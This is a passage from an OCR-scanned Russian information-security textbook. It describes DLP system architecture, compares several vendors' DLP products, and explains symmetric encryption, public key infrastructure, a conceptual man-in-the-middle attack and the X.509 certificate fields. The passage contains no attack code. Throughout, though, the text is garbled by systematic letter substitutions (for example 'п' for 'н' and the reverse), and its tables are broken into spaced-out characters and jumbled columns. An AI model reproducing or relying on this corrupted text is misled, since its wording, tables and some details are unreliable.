управлепия всеми установлеппыми па рабочие стапции агептами. 

Архитектура DLР-решепий у разпых разработчиков может разли
чаться, по в целом можпо выделить три осповпых модуля: 

О перехватчики/коптроллеры па разпые капалы передачи ипфор
мации ; 

О агептские программы, устапавливаемые па окопечпые устрой
ства; 

О цептральпый управляющий сервер. 

Перехватчики апализируют проходящие потоки ипформации, ис
ходящей из периметра компапии, обпаруживают копфидепциальпые 
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даппые, классифицируют ипформацию и передают для обработки 
возможпого ипцидепта па управляющий сервер. Перехватчики могут 
быть как для копии исходящего трафика, так и для устаповки в раз
рыв трафика. В последпем случае потепциальпая утечка может быть 
остаповлепа системой DLP. 

Коптроллеры для обпаружепия храпимых даппых запускают про
цессы обпаружепия в сетевых ресурсах копфидепциальпой ипформа
ции. Способы запуска обпаружепия могут быть различпыми: от соб
ствеппо скапировапия от сервера коптроллера до запуска отдельпых 
программпых агептов па существующие серверы или рабочие стапции. 

Коптроллеры для операций па рабочих стапциях распределяют по
литики безопаспости па окопечпые устройства, апализируют резуль
таты деятельпости сотрудпиков с копфидепциальпой ипформацией 
и передают даппые возможпого ипцидепта па управляющий сервер. 

Агептские программы па рабочих местах пользователей замеча
ют копфидепциальпые даппые в обработке и следят за соблюдепием 
таких правил, как сохрапепие па смеппый поситель ипформации, 
отправки, распечатывапия, копировапия через буфер обмепа. 

Управляющий сервер сопоставляет поступающие от перехватчиков 
и коптроллеров сведепия и предоставляет иптерфейс проработки ип
цидептов и построепия отчетпости. 

Естествеппо, для того чтобы система DLP достоверпо различала 
копфидепциальпую и открытую ипформацию, пеобходимо передать 
в систему логику, па осповапии которой должпа происходить клас
сификация. Встроеппые мехапизмы D LP позволяют максимальпо 
автоматизировать и облегчить процессы обучепия системы. 

В решепиях DLP имеется широкий пабор комбипироваппых ме
тодов: 

О цифровые отпечатки докумептов и их частей (в систему вводят
ся сотпи тысяч докумептов одпой комапдой ); 

О цифровые отпечатки баз даппых (в систему вводятся выгрузки 
из баз даппых клиептов и прочей структурироваппой ипформа
ции, которую важпо защитить от распрострапепия) ;  

О статистические методы (повышепие чувствительпости системы 
при повторепии парушепий ). 

Как лучше настраивать систему DLP 

Совремеппые системы класса DLP включают в себя пабор готовых 
правил реагировапия па обпаружепие, папример, даппых кредитпых 
карт, российских паспортов , стапдартпых форм фипапсовой отчет
пости. Но паибольший иптерес системы DLP представляют собой 
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после пастройки па образцах копфидепциальпых даппых, имеющихся 
в обращепии. 

В статьях, посвящеппых даппым системам, приводится следую
щий припцип эксплуатации системы DLP:  припцип эксплуатации 
системы DLP заключается в циклическом выполпепии пескольких 
процедур, описаппых в следующей таблице. 

Роль участни ков 
П роцедура О п иса ние п роцедуры со стороны 

бизнес-подразделен и й  
О б у ч е н и е  с и сте- П е реда ч а  в D LP п р и н ци п о в  о б н а руже- Владе л ь ц ы  и н ф орма ц и о н -
мы п р и н ц и п а м  н и я  и класс и ф и ка ц и и  конфиде н ц и а л ь н о й  н ы х  ресурсов уч аствуют 

класс и ф и к а ц и и  и н ф орма ц и и  в класс и ф и к а ц и и  и н фор-
и н формации ма ц и и  и указа н и и  мест 

расположе н и я  ресурсов 

Ввод п р а в и л  Н а стро й к а  п р а в и л  р е а г и р о в а н и я  Службой б е з о п а с н ости 
реагиро в а н и я  с и стемы в п р и в я з к е  к катего р и и  о б н а - раз рабаты в а ются и з атем 

руж и ваемой и н форма ц и и  и груп п со- уто ч н я ются п р а в и л а  за-
труд н и ко в ,  контрол ь де й ст в и й  кото р ы х  щ и т ы  ресурсов 
дол ж е н  осуществляться . П ро п и с ы в а ются 
в и с кл ю ч е н и я  пользовател и ,  дей ств и я  

кото р ы х  пользуются д о в е р и е м  

В ы п о л н е н и е  С и стема а н ал и з и рует и нормали зует Н а з н а ч е н н ы е  о ф и ц е р ы  

с и стемой D LP  и н ф орма ц и ю  ! исходя щие и н формацион- безоп асности либо ответ-
о п е р а ц и й  к о н - н ы е  пото к и ,  резул ьтаты с к а н и р о в а н и я  стве н н ы е  со сторо н ы  в л а -
траля сете в ы х  ресурсов и р а б о ч и х  ста н ц и й ,  дел ьцев ресурсов получают 

локал ь н ы е  действия пользо вател е й ) .  Вы- уведомл е н и я  о п р о и з о ш ед-

пол н я ется сопоста в л е н и е  с п р и н ци п а м и  ш и х  и н цидентах 

об н а руже н и я  и класс и ф и к а ц и и  да н н ы х.  
При о б н а руже н и и  конфиде н циальной 
и н ф орма ц и и  с и стема сопоста вля ет 
с существую щими полити ками,  н а з н а -
ч е н н ы м и  на о б н а руже нную катего р и ю  
и н ф орма ц и и .  В случае н а руш е н и й  

в с и стеме создается « и н цидент» 

О б ра б отка Созда н н ы е  и н циденты в с и стеме мо гут 

и н цидентов б ы ть с в я з а н ы  с та к и м и  п р а в илами реаги-
рова н и я ,  к а к  п р о и н ф орми ровать/п р и -
оста н о в ить/з а б л ок и ро в ать отп р а в ку .  
Кроме того,  сводная и н формация и 
подроб ности об и н цидентах досту п н ы  
д л я  а н а л и з а  о ф и цером б е з о п а с н ости/ 
аудито ром/владе л ь цем ресурса в с и сте-

ме . В резул ьтате обработки офи цером 
безопасн ости и н цидент может б ы ть 

закрыт /эскал и р о в а н / н а п р а в л е н  на до-
р а б отку пол итик 
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При впедрепии системы DLP следует подготовить пабор правил 
для классификации докумептов,  имеющихся в оргапизации. 

Мы разобрали требовапия к системам предотвращепия утечек, 
изучили их архитектуру и требовапия к пастройке. Теперь перейдем 
пепосредствеппо к описапию имеющихся па рыпке решепий DLP. 

7.4. З. Сравнение систем DLP 

Решения Websense 

Продукты Websense представляют полпоцеппый фупкциопал по пре
дотвращепию утечек даппых. 

Для предотвращепия утечек по сетевым капалам связи разра
ботчик предлагает Websense Data Security, систему защиты, оспо
ваппую па коптроле исходящего сетевого трафика, поиска храпи
мых даппых и агептского коптроля. Шлюзовые компопепты Data 
Security осуществляют коптроль всех сетевых коммупикаций, таких 
как электроппая почта, веб -трафик, средства мmовеппого обмепа 
сообщепиями и даже впутреппяя почта Exchange. При парушепии 
политики обмепа даппыми могут быть заблокировапы протоколы 
SMTP, НТТР и FTP. 

Отдельпо следует отметить возможпость апализа шифроваппого 
трафика. С помощью дополпительпого продукта Websense Content 
Gateway можпо, используя сертификаты шифровапия, осуществлять 
коптроль шифроваппого трафика. 

При обпаружепии ипцидепта утечки возможпо пастроить следую
щие типы реакции: блокировка (SMTP, НТТР), караптип для SMTP, 
оповещепие, перепаправлепие па шифровапие. Для определепия коп
фидепциальпого коптепта Websense использует цифровые отпечатки 
текста и баз даппых, предпастраиваемые политики, в том числе и 
для русскоязычпых докумептов,  а также регулярпые выражепия и 
ключевые слова. 

Система поддерживает порядка 400 осповпых форматов даппых, то 
есть может открывать и скапировать файлы даппых форматов. Также 
система может открывать архивпые файлы. 

Для коптроля храпимой ипформации ( Data at Rest) и предот
вращепия утечек по даппым капалам используется Websense Data 
Discover. Скапировапие для обпаружепия храпимой ипформации 
ипициируется с помощью управляющего сервера, который запускает 
соответствующий процесс. С помощью агептов можпо проскапиро
вать рабочие стапции. Websense Data Discover может обрабатывать 
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следующие источпики статичпо храпящейся ипформации: файловые 
серверы ( SMB) ,  копечпые рабочие стапции, сетевые расшареппые 
папки, порталы Sharepoint, базы даппых с помощью ODBC, Exchange 
Server. К сожалепию, из систем докумептооборота может скапиро
ваться только MS Sharepoint. 

В качестве метода детектировапия копфидепциальпого коптепта, 
как и в предыдущем модуле Websense, выступают цифровые отпе
чатки текста и баз даппых, предпастроеппые политики, регулярпые 
политики и ключевые слова. 

Следующим средством коптроля утечки даппых является Websense 
Data Endpoint. Даппый модуль осуществляет коптроль утечек дап
пых с рабочей стапции пользователя. Осповпыми коптролируемыми 
операциями являются: запись па съемпые устройства, операции пе
чати, отправка ипформации через локальпые соедипепия, операции 
с буфером обмепа (с возможпостью блокировапия ). 

Распечатка докумептов является одпой из самых распрострапеп
пых операций, которую совершает каждый офиспый служащий прак
тически ежедпевпо. Websense Data Endpoint осуществляет коптроль 
печати па уровпе рабочих стапций. Также с помощью дополпитель
пого модуля Printer Agent w/ORC возможпо осуществлепие оптиче
ского распозпавапия. 

Мехапизмы распозпавапия - цифровые отпечатки текста, пред
пастроеппые политики, регулярпые выражепия и ключевые слова. 

Websense Data Endpoint поддерживает 32-битпые редакции опера
циоппых систем Windows 2000/ХР /Vista/7. 

Еще одпим важпым условием является паличие средства цепт
рализоваппого управлепия системой и обработки ипцидептов 
(рис. 56) .  

У Websense даппый продукт пазывается DSS Manager. Апализ 
фиксируемых событий осуществляется в едипом веб-иптерфейсе для 
всех событий. Для пастройки политик используется отдельпый ип
терфейс . История зафиксироваппых ипцидептов сохрапяется в спе
циальпом протоколе. В системе присутствует достаточпо пужпая 
фупкциопальпость - разделепие ролей системпого адмипистрато
ра и адмипистратора безопаспости. Существует также возможпость 
гибкой пастройки ролей. При обпаружепии ипцидепта возможпы 
следующие ответпые реакции: эскалация ипцидепта, запрос па разре
шепие пропуска сообщепия электроппой почты, закрытие ипцидепта 
и запуск сцепария. 

Итак, я описал фупкциопал продуктов Websense. Теперь перейдем 
к описапию решепий от других разработчиков . 
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Рис. 56. Интерфейс системы управления 

Решения Symantec 

ProtocolSet 
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Продукты Symantec разделяются по апалогичпому Websense припци
пу: коптроль сетевого трафика, коптроль храпимых даппых и копт
роль рабочих мест пользователей. 

Для предотвращепия утечек по сетевым капалам связи пам пред
лагается Symantec Data Loss Prevention, система защиты, также оспо
ваппая па коптроле исходящего сетевого трафика, поиске храпимых 
даппых и агептском коптроле. Шлюзовые компопепты осуществляют 
коптроль всех сетевых коммупикаций, таких как электроппая почта, 
веб-трафик, средства мгповеппого обмепа сообщепиями и Exchange. 
При парушепии политики обмепа даппыми могут быть заблокирова
пы протоколы SMTP, НТТР и FTP. 

Возможпость апализа шифроваппого трафика HTTPS здесь также 
присутствует - с помощью стороппих решепий, папример BlueCoat, 
либо при помощи агептской части DLP Endpoint Prevent, о которой 
мы поговорим далее. 

При обпаружепии ипцидепта утечки в этом продукте можпо па
строить извещепие пользователя, оповещепие владельца ипформа-
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ции или адмипистратора ипформациоппой безопаспости, блокировку, 
перепаправлепие па припудительпое шифровапие. Для определепия 
копфидепциальпого коптепта продукт использует цифровые отпе
чатки текста и выборок, предпастраиваемые политики, в том числе 
и для русскоязычпых докумептов,  а также регулярпые выражепия и 
ключевые слова. 

Система, так же как и Websense, поддерживает порядка 400 оспов
пых форматов даппых, в том числе и вложеппые в архивы. 

Для коптроля храпимой ипформации используется Symantec 
Network Discover. Скапировапие для обпаружепия храпимой ипфор
мации ипициируется с помощью управляющего сервера, который 
запускает соответствующий процесс. Также возможпо припудитель
пое перемещепие пайдеппых файлов (Network Protect ) .  С помощью 
агептов можпо проскапировать рабочие стапции. Symantec Network 
Discover может обрабатывать следующие источпики статичпо хра
пящейся ипформации: файловые серверы, системы докумептообо
рота, почтовые базы Exchange, Lotus Domino. В отличие от решепия 
Websense, даппый продукт может скапировать докумепты следующих 
систем докумептооборота: ЕМС Documentum, MS Exchange и Lotus 
Domino. Для оргапизаций, активпо использующих такие продукты 
па базе Lotus Domino, как CompanyMedia, это может оказаться зпа
чительпым плюсом. 

В качестве метода детектировапия копфидепциальпого коптепта, 
как и в Websense, выступают цифровые отпечатки текста и баз даппых, 
предпастроеппые политики, регулярпые выражепия и ключевые слова. 

Следующим средством коптроля утечки даппых является Symantec 
Endpoint Prevent & Discover. Даппый модуль осуществляет коптроль 
утечек даппых с рабочей стапции пользователя. Осповпыми коптро
лируемыми операциями являются: запись па съемпые устройства, 
операции печати, отправка ипформации через локальпые соедипепия 
(в том числе и через HTTPS) ,  операции с буфером обмепа (также 
с возможпостью блокировапия ). 

Коптроль печати Symantec осуществляет па уровпе рабочих стап
ций. 

Мехапизмы распозпавапия - регулярпые выражепия и ключевые 
слова. Цифровые отпечатки могут использоваться в отложеппом ре
жиме после передачи па сервер Endpoint Prevent. 

Symantec Endpoint Prevent & Discover поддерживает 32 -битпые 
редакции операциоппых систем Windows 2000/ХР /Vista/7. 

Что касается средства цептрализоваппого управлепия, то у Symantec 
это DLP Enforce Platform. Апализ фиксируемых событий осуществ-
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ляется в едином веб-интерфейсе для всех событий. Функционал дан
ного модуля аналогичен Websense. Поэтому онисывать его новторно 
я не буду (рис. 57) .  
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Рие. 57. Интерфейс системы управлення Symantec DLP 

Решения RSA 

У этого разработчика, известного нрежде всего своими средствами 
шифрования, имеется нродукт RSA D LP Suite. Данная система защиты 
основана на контроле исходящего сетевого трафика, ноиске хранимых 
данных и агентском контроле. Шлюзовые комноненты DLP Suite осу
ществляют контроль всех сетевых коммуникаций. При нарушении но
литики обмена данными могут быть заблокированы нротоколы SMTP, 
НТТР. Для контроля HTTPS иснользуются собственные решения. 

При обнаружении инцидента утечки возможны следующие ре
акции: блокировка, карантин и оновещение. Для онределения кон
фиденциального контента здесь иснользуются цифровые отнечатки 
текста и баз данных, нреднастраиваемые нолитики, регулярные вы
ражения и ключевые слова. 
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Так же как и у онисанных ранее разработчиков,  сканируются все 
основные форматы. 

Для контроля хранимой информации иснользуется DLP Datacenter 
Discover and Remediate . Сканирование для обнаружения хранимой 
информации инициируется с номощью сканирующих агентов для 
серверов нод унравлением разнообразных серверных нлатформ. Еще 
возможно нринудительное неремещение найденных файлов . RSA мо
жет обрабатывать следующие источники статично хранящейся ин
формации: файловые серверы, конечные рабочие станции, сетевые 
расшаренные нанки. Единственным снособом контроля систем до
кументооборота является контроль нриложений - толстых клиентов. 

В качестве метода детектирования конфиденциального контента, 
как и в нредыдущих модулях, выстунают цифровые отнечатки, нред
настроенные нолитики, регулярные выражения и ключевые слова. 

Следующим средством контроля утечки данных является RSA 
DLP Endpoint Enforce. Основными контролируемыми онерациями 
являются: занись на съемные устройства, онерации нечати, отнравка 
информации через браузеры с возможностью блокирования. 

Продукт RSA ноддерживает 32-битные редакции онерационных 
систем Windows 2000/ХР /Vista/7. 

Решение RSA также имеет веб-интерфейс для унравления, включаю
щий базовый функционал для унравления инцидентами (рис. 58) .  
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Рие. 58. Интерфейс снстемы управлення RSA DLP 
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Следующим в нашем списке разработчиков DLР-решений идет рос
сийская компания Infowatch. К сожалению, об их решениях нельзя 
сказать, что это полноценная система предотвращения утечек данных, 
так как полностью отсутствует контроль хранимой информации, что 
несколько усложняет контроль утечек. 

Для предотвращения утечек но сетевым каналам связи разработ
чик предлагает Infowatch Traffic Monitor, систему защиты, основан
ную на контроле исходящего трафика но сетевым каналам, монито
ринга содержимого, передаваемого на сменные носители. Шлюзовые 
компоненты Nraffic Monitor осуществляют контроль электронной 
почты, веб-трафика и средств мгновенного обмена сообщениями. При 
нарушении политики обмена данными могут быть заблокированы 
протоколы SMTP иТТР. 

Анализ HTTPS осуществляется с помощью собственного решения. 
При обнаружении инцидента утечки возможны реакции: блоки

ровка, карантин, оповещение. Для определения конфиденциального 
контента Infowatch использует цифровые отпечатки текста. 

Система поддерживает форматы офисных документов:  текстовые, 
HTML, PDF. 

Следующим средством контроля утечки данных является Traffic 
Monitor for Device. Основная контролируемая операция - запись на 
съемные устройства без блокирования. 

Распечатка документов контролируется с помощью дополнитель
ного модуля Print Monitor. 

Решение от Infowatch поддерживает 32-битные редакции операци
онных систем Windows 2000/ХР /Vista/7. 

Решения McAfee 

McAfee Host DLP предназначен для предотвращения утечек с кли
ентского рабочего места. Система защиты основана на агентском 
контроле использования конфиденциальной информации. Таким 
образом, задачи контроля утечек осуществляются только на стороне 
клиента McAfee Host D LP. 

При обнаружении инцидента утечки на уровне клиента можно 
настроить следующие тины реакции: мониторинг, оповещение, бло
кирование. Для определения конфиденциального контента система 
использует цифровые отпечатки текста, метки, а также регулярные 
выражения и ключевые слова. 

Система поддерживает все основные форматы файлов. 
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McAfee Host D LP контролирует: запись на съемные устройства, 
операции печати, отправку информации через локальные соедине
ния, операции с буфером обмена (с возможностью блокирования) .  

Контроль печати осуществляется, как и следовало ожидать, только 
на уровне рабочих станций. Поддерживаются 32-битные редакции 
операционных систем Windows 2000/ХР /Vista/7. 

В качестве средства централизованного управления используется 
McAfee ePolicy Orchestrator. Функционал системы управления ана
логичен описанному ранее у других продуктов.  

А что же Linux? 

Внимательный читатель наверняка заметил, что в занудных описани
ях поддерживаемых операционных систем совершенно отсутствуют 
какие-либо дистрибутивы Linux. Это означает, что установить агент
ское ПО на рабочую станцию под управлением Linux не получится. 
Однако серверные части Symantec DLP можно установить на Red Hat 
Enterprise Linux 4.0 и 5.0 .  Аналогично Infowatch Traffic Monitor мож
но установить на RHEL 4. При этом будет осуществляться контроль 
сетевых каналов, но нельзя будет осуществлять контроль действий 
с файлами на хостах. Будем надеяться, что в будущем ситуация из
менится к лучшему. 

7.4.4. Заключение 

Мы рассмотрели основные решения но обеспечению предотвраще
ния утечек данных. В зависимости от используемых в вашей сети 
приложений и протоколов вы можете выбрать решение, подходящее 
именно вам. 

7. 5 . С редства ш и фро ва н ия 
Шифрование на сегодняшний день является неотъемлемой частью 
любой системы защиты информации. Проблемы прослушивания и 
модификации трафика требуют использования средств шифрования 
в сети. Шифрование данных, хранящихся на портативных носителях, 
необходимо во избежание хищения данного носителя. В этих и мно
гих других случаях шифрование данных необходимо. Далее в этом 
разделе мы рассмотрим, какие виды шифрования бывают, а также 
настроим инфраструктуру открытого ключа в среде Windows Server 
2008. 
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7.5. 1 .  Симметричное шифрование 

Алгоритм симметричного шифрования требует наличия одного клю
ча для шифрования и дешифрования сообщений. Такой ключ назы
вается общим секретным, поскольку все пользователи, участвующие 
в обмене данными, имеют один и тот же ключ. 

В настоящее время имеется целый ряд алгоритмов симметричного 
шифрования. Среди них отметим DES ( Data Encryption Standard -
стандарт шифрования данных), IDEA ( International Data Encryption 
Algorithm - международный алгоритм шифрования данных) - патен
тованный алгоритм, применяемый в PGP, и Blowfish - ненатентован
ный алгоритм, применяемый в SSH. 

С алгоритмами симметричного шифрования связано понятие стой
кости шифра. Стойкость - это мера сопротивления кринтоаналитиче
ским атакам. Стойкость алгоритма определяется размером используе
мого ключа. В IDEA применяются 1 28-разрядные ключи. В алгоритме 
Blowfish размер ключа конфигурируется от 32 до 448 бит. Чем длиннее 
ключ, тем более стойкий шифр. В DES используются 56-разрядные 
ключи, поэтому данный алгоритм считается относительно слабым. 

Для повышения стойкости шифра можно применить несколько 
ключей или выполнить алгоритм шифрования несколько раз подряд. 
Примером такой реализации является алгоритм TripleDES (встро
ен в некоторые свободно распространяемые утилиты) ,  где данные 
сначала шифруются одним ключом, затем дешифруются другим и, 
наконец, повторно шифруются третьим. 

Основная проблема, связанная с алгоритмами симметричного 
шифрования, - необходимость использования секретного ключа. 
Прежде чем начать зашифрованный диалог, следует убедиться в том, 
что все участники диалога имеют соответствующий ключ. Этого мож
но добиться разными способами: выслать ключ но факсу, но почте, 
прибегнуть к услугам службы курьерской доставки. Но все они до
статочно неудобны и имеют свои слабые места. Более надежный, хотя 
и не лишенный недостатков метод - воспользоваться асимметричным 
шифрованием для кодирования секретного ключа и выслать его но 
электронной почте. 

7.5.2. Инфраструктура открытого ключа 

Инфраструктура открытого ключа ( PuЬlic Кеу Infrastructure, PKI) 
давно уже стала элементом информационной безопасности, особен
но в больших корпоративных сетях. С помощью данной технологии 
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обеспечивается безопасное функционирование различных сервисов, 
таких как система шифрования, выработки цифровой подписи, аутен
тификации и др. Однако очень часто приходится сталкиваться с тем, 
что даже в крупных организациях инфраструктура PKI развернута 
но принципу последовательных нажатий кнопки Next в мастере уста
новки. А ведь инфраструктура открытого ключа - это один из основ
ных элементов корпоративной системы информационной безопас 
ности, и подходить к ее  развертыванию нужно очень ответственно, 
иначе впоследствии вы рискуете столкнуться с проблемами масшта
бирования и изменения инфраструктуры, которые не позволят вам 
эффективно использовать возможности PKI. Например, одна из са
мых распространенных ошибок системных администраторов - это 
развертывание всех компонентов PKI на одном физическом сервере. 
Такой вариант использования PKI возможен, но крайне нежелателен, 
так как здесь присутствуют существенные риски для безопасности 
как сервера, так и всей инфраструктуры открытого ключа, и к тому 
же подобная реализация не является отказоустойчивой. Иногда на 
этом же сервере запускают еще и сторонние службы, что является 
совершенно недопустимым. 

Теперь что касается практической реализации PKI.  Существу
ет множество различных программных и аппаратных реализаций 
технологии PKI. Для государственных организаций, чья деятель
ность связана с конфиденциальной информацией, а также банков 
существует ряд требований но использованию только сертифици
рованных решений. Самым известным таким решением является 
российская разработка КринтоПро. Что же касается ПО Microsoft 
для реализации PKI, то оно не обладает соответствующими россий
скими сертификатами и не может использоваться для развертыва
ния инфраструктуры, например, в государственных организациях. 
Для коммерческих организаций, взаимодействующих с госоргана
ми, также накладывается ряд требований и ограничений, связанных 
с использованием сертифицированного программного обеспечения. 
Например, требования к использованию сертифицированных ал
горитмов шифрования присутствуют при подаче налоговой отчет
ности. Но для собственных нужд любая негосударственная органи
зация, даже некоммерческая, вполне может использовать данную 
технологию Майкрософт. С одной стороны, на решения Майкро
софт не распространяется требование но использованию сертифи
цированного программного обеспечения, с другой - практически 
в каждой компании есть продукты Майкрософт, и поэтому для 
развертывания PKI не нужно приобретать никаких донолнитель-
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пых лицензий, это также является существенным обстоятельством 
в пользу использования данных решений. Так как на сегодняшний 
день актуальной версией серверной ОС от Microsoft является ли
нейка продуктов Windows Server 2008, то мы будем разворачивать 
PKI именно на данном программном обеспечении. 

Основы РК/ 

Тем, кто хорошо разбирается в теоретических основах технологии 
PKI, можно сразу перейти к чтению раздела, посвященного реализа
ции инфраструктуры в Windows Server 2008. Тем же, кто плохо по
нимает назначение инфраструктуры открытого ключа, я рекомендую 
прочесть материал, идущий далее. 

Начнем с главного вопроса: а зачем вообще нужна PKI? Предпо
ложим, нам необходимо зашифровать что-либо и передать эти за
шифрованные данные но электронной почте другому пользовате
лю. Этот пользователь должен иметь возможность расшифровать 
полученные данные, а также при необходимости зашифровать свои 
данные и передать их нам. Очень многие решают данную пробле
му просто: создают занароленный архив , отправляют его но почте, 
а пароль на этот архив сообщают но телефону. В принципе, такой 
вариант передачи конфиденциальной информации возможен, так как 
для передачи зашифрованных данных и пароля к ним используют 
разные каналы связи, и потенциальному злоумышленнику сложнее 
их контролировать, но он крайне неудобен в промышленной среде с 
интенсивным обменом данными. Так что нам необходимо каким-то 
образом передать ключ для шифрования. Для решения данной задачи 
бьши разработаны алгоритмы асимметричного шифрования, смысл 
которых сводится к следующему: каждый пользователь генерирует 
две нары ключей, открытый и закрытый (секретный).  Данные, за
шифрованные открытым ключом, могут быть расшифрованы только 
закрытым ключом из этой нары. Закрытый ключ должен храниться в 
тайне. Затем пользователи обмениваются открытыми ключами. Для 
передачи данных пользователь зашифровывает данные с помощью 
открытого ключа получателя, который ему предоставили, а другой 
пользователь-получатель расшифровывает полученные данные с по
мощью своего секретного ключа. Таким образом можно осуществлять 
передачу данных но одному каналу. 

Замечу, что в реальных условиях асимметричное шифрование 
в чистом виде практически не используется. Как правило, для шиф
рования данных используются симметричные шифры, а ключи для 
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этих шифров передаются пользователям с помощью асимметричного 
шифрования. 

Но тут возникает другая проблема, так называемая атака �чело
век в середине� ( Man In The Middle) .  Злоумышленник может вме
шаться в процесс обмена ключами между пользователями. То есть 
если пользователи А и В хотят обменяться открытыми ключами, то 
злоумышленник С может получить ключи пользователей А и В и 
сгенерировать свои нары открытых ключей и отправить их соответ
ствующим пользователям. Тогда, когда А отправит свой открытый 
ключ, С его получит и отправит вместо этого ключа пользователю В 
свой открытый ключ. То же самое и с пользователем В. Таким обра
зом злоумышленник сможет с помощью своего закрытого ключа рас
шифровывать сообщения пользователя А, модифицировать их при 
необходимости и,  зашифровав их с помощью настоящего открытого 
ключа пользователя В, передать получателю. В случае применения 
незащищенных каналов связи это может стать серьезной проблемой. 

Для решения этой проблемы мы вводим понятие доверия. То есть 
в нашем процессе обмена ключами необходимо присутствие третьей 
стороны, которая будет подписывать открытые ключи, переданные 
пользователями А и В,  удостоверяя тот факт, что действительно 
именно эти пользователи отправили эти ключи. При этом данная 
третья сторона не должна быть в курсе самой переписки, то есть она 
не должна иметь возможности расшифровать и прочесть передавае
мые данные. В дальнейшем третью сторону будем именовать удосто
веряющим центром - УЦ. Удостоверяющий центр выдает цифровой 
сертификат, или сертификат открытого ключа, который связывает 
имя владельца сертификата и значение его открытого ключа. Циф
ровой сертификат включает в себя только открытые данные, кото
рые могут быть доступны для просмотра абсолютно каждому. Это 
личные данные пользователя, его открытый ключ, время действия 
сертификата и дополнительные атрибуты о назначении сертификата. 
Другими словами, цифровой сертификат выступает в роли паспорта, 
в котором персональные данные конечного пользователя связывают
ся с его открытым ключом при помощи электронной цифровой под
писи ( ЭЦП) удостоверяющего центра (УЦ).  Подпись УЦ заверяет: 

О соотнесенность сведений, содержащихся в сертификате, с поль
зователем; 

О целостность цифрового сертификата (что �не переклеена фо
тография� - попытка вмешательства в структуру или данные 
сертификата нарушают его целостность, соответственно, если 
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подтверждена целостность, то изменений каких-либо данных в 
сертификате, в том числе и подмены открытого ключа, не было). 

Если сертификат бьш каким-либо образом скомпрометирован (на
пример, его могут использовать злоумьшшенники ) ,  его необходимо 
отозвать. А если в сети появился новый пользователь, то для него 
необходимо выпустить новый сертификат. Решение данных задач 
является неотъемлемой частью функционала УЦ. Более подробно об 
этих и других функциях УЦ мы поговорим далее. 

В случае если пользователей в сети достаточно много и к тому же 
они разнесены географически, возникает необходимость в разверты
вании нескольких удостоверяющих центров с установлением между 
ними доверительных отношений. При этом обязательно необходимо 
использование иерархии. 

Для лучшего понимания приведу несколько примеров из жизни. 
У многих людей имеются водительские нрава, в которых указаны лич
ные данные, фотография владельца, категория транспортных средств, 
которыми можно управлять, а также время действия. Данный доку
мент является аналогом сертификата, который удостоверяет, что этот 
человек обладает нравом на управление транспортными средствами 
определенной категории до определенного времени. В случае право
нарушения нрава могут быть изъяты, аналогично отзыву сертификата 
при компрометации. Другой пример: у многих есть заграничный пас
порт, в котором также указаны личные данные, фотография и срок 
действия, при пересечении границы другого государства вы предъяв
ляете данный документ, и пограничники проставляют в нем визу. Это 
пример доверительных отношений, когда документу, выпущенному 
одним государством, доверяют и другие государства. Аналогично до
верительным отношениям между УЦ. 

Надеюсь, после этого раздела у читателя наступило некоторое по
нимание того, что такое PKI и зачем оно нужно, и мы можем при
ступить к обсуждению развертывания данной технологии непосред
ственно в Windows Server 2008. 

Элементы РК/ в Windows Server 2008 

Как видно но рис. 59, ключ для симметричного шифрования пред
варительно перед передачей шифруется с помощью асимметричного 
алгоритма. При этом все открытые ключи участников процесса обме
на информацией подписываются службами Active Directory. 

Теперь поговорим о том, что из себя представляют сертификаты, 
используемые в PKI Windows 2008. Сертификаты должны соответ-
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ствовать стандарту Х.509. На сегодняшний день существуют три вер
сии данного стандарта. В нриведенной ниже таблице наказан формат 
сертификатов версий 1 и 2 .  

fаблица 1 0. Формат сертнфнкатов 

Vers ion  Верси я  серти ф и ката 1 , 2 , 3 

Certif icate Se r ia l  Сер и й н ы й  номер 4 0 : 00 : 00 : 00 :00 : 00 : 00 : аЬ : 38 :  1 е : 8 Ь :  
N u m be r  сертифи ката e9 : 00 : 3  l : О с : 60  

S i gnature A lgorithm Иде нтифи катор гост р 34 . 1 0-94 
l dent if i e r  алгор итма Э ЦП 

l s s ue r  Х .500  N a m e  Имя и здателя C=RU ,  ST=M oscow,O= P K I ,  
се ртифи ката C N =Cert if i cati on  Autho rity 

Va l i d ity Pe riod Срок действ и я  Де йств ител ен  с :  Н оя 2 06 : 59 :00 
се ртифи ката 1 99 9  G MT 

Дей ств ителен  п о : Н оя 6 06 : 5 9 : 00  
2004  G MT 



СРЕДСТВА Ш ИФРОВАН ИЯ 355 

rаблица 1 0. Формат сертификатов (окончание) 

Sub ject Х .500  Имя вл адел ьца C=RU,  ST=Moscow, O=PK I ,  
N a m e  се ртифи ката CN=S idorov 

Sub ject P u Ь l i c  Кеу Открытый  кл юч Ти п кл юча :  открыты й кл юч  ГО СТ 
l nfo владел ьца Дл и н а  кл юча :  1 024 

З на чен ие :  AF : E D : 80 : 43  . .  

l ssuer U n i q ue  ID Уни кал ьн ы й 
vers ion  2 иденти ф и катор 

издателя 

Sub ject U n i q ue  I D  Уни кал ьн ы й 
vers ion  2 иденти ф и катор 

вл адел ьца 

СА S ignatu re 
Э Ц П  центра 
серти ф и кации  

Посмотрим более нодробно, что содержится в самих сертифика
тах. Как видно, в сертификатах версий 1 и 2 нрисутствуют 10 нолей. 
Начнем с ноля Version. В нем указывается версия иснользуемого нро
токола Х.509. В случае если иснользуются донолнения к сертификату, 
версия должна быть установлена как Х.509 version 3 (но умолчанию 
значение равно 2) .  Если донолнения не иснользуются, версия должна 
быть 1 (значение должно быть не установлено) .  В ноле Серийный 
номер ( Certificate Serial Number) указывается целое число, уста
навливаемое ЦС для каждого сертификата. Это значение должно 
быть уникальным для каждого сертификата, вынущенного данным 
ЦС. Значения нолей Имя издателя и Серийный номер сертифика
та совместно являются уникальным идентификатором сертифика
та. В ноле Signature Algoritm Identifier содержится идентификатор 
кринтографического алгоритма, иснользуемого ЦС для выработки 
ЭЦП сертификата. В ноле Имя издателя ( Issuer Х.500 Name) иден
тифицируется объект (субъект) ,  который сформировал ЭЦП и из 
дал сертификат. Данные в этом ноле должны содержать ненулевое 
значение DN ( distinguished name ) .  Значение ноля состоит из набо
ра иерархических атрибутов (AttributeType), таких как код страны, 
и соответствующего ему значения ( AttributeValue, нанример RU) .  
Поле Validity Period онределяет срок действия (в виде временного 
интервала), в течение которого ЦС унравляет сертификатом (то есть 
отслеживает состояние). В этом ноле находится носледовательность 
двух дат: дата начала действия сертификата (notBefore) и дата окон
чания срока действия сертификата (notAfter). Оба этих значения мо-
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гут быть закодированы либо как UTCТime, либо как GeneralizedТime. 
Поле Открытый ключ владельца ( Subject PuЬlic Кеу Info) исполь
